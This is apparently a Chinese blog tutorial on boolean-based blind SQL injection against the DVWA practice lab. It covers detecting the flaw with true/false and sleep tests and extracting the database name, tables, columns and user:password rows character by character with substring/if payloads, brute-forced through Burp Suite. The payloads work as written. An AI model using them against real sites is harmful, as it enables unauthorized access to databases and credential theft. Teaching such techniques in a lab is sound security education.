5.布尔型盲注

原理

有一种界面,像这种不会把数据体现在表面的界面

这种一点都看不出来有没有可控变量的页面,看不出来能不能用正常的字符型SQL注入或数字型SQL注入破解,所以,这时候要换个思路

布尔型盲注

盲注判断

字符型判断

看几次字符型的返回结果一不一样

构建语句

1' and 1=1--+

1' and 1=2--+

两次结果不一样,说明存在盲注点

延迟性判断

利用sleep函数将数据库睡眠5秒

返回包的时间为5秒

将睡眠时间改为6秒

返回时间变为6秒

由此可知,延迟性判断为真

此处存在布尔型盲注的注入点

布尔型注入攻击

原理

最常用的布尔型注入点判断方法

两次结果不一样,存在注入点

注入获取敏感信息

三个参数分别为字符串,开始截取位置,截取长度

这里的字符串可以变为查询语句

借此,提取敏感信息

因为这种页面不会返回具体数据,只会返回对错两种,所以我们要对返回的结果进行猜测

将查询到的数据

如if(substring(database(),1,1)='d',1,0)

这里database()的查询结果为dvwa

猜测数据库第一个字符为d正确

猜测数据库第二个字符为v正确

因为提取起始位置为第一个字符,提取长度为1个字符,所以最终提取到的结果为字符d

因为页面不会返回具体数据,所以我们需要以对错的形式,看页面报不报错,来判断字符的正确性,正确返回1,错误返回0

以此判断结果的值为多少

获取全部单个字符后,将全部单个字符拼接起来,就可以得到真实的敏感信息了

黑盒测试下的布尔盲注流程

长度判断

length(database())查询字段长度

length(database())=4,1,0

然后利用判断语句,判断长度值

逐个字符判断

正确页面

穷举操作

BP选中这个模式

将包利用bp抓取下来,进行穷举

提取到结果,拼接后,可获得数据库名称

表名获取

判断第一个表名的第一个字符为g

substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)

获取第一个表名

获取数据库第二个表名

判断第一个字段名为u

if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)获取字段名

判断成功

得到结果

获取数据

输入注入语句,判断users表中第一个数据首字母是不是a

?id=1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)

或者

?id=1' and if(substring((select CONCAT(user,PASSWORD) from users limit 1),1,1)='a',1,0)

这当中的0x3a是为了让返回值更好看,加不加无所谓

判断成立

bp穷举

穷举成功

  • 10
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值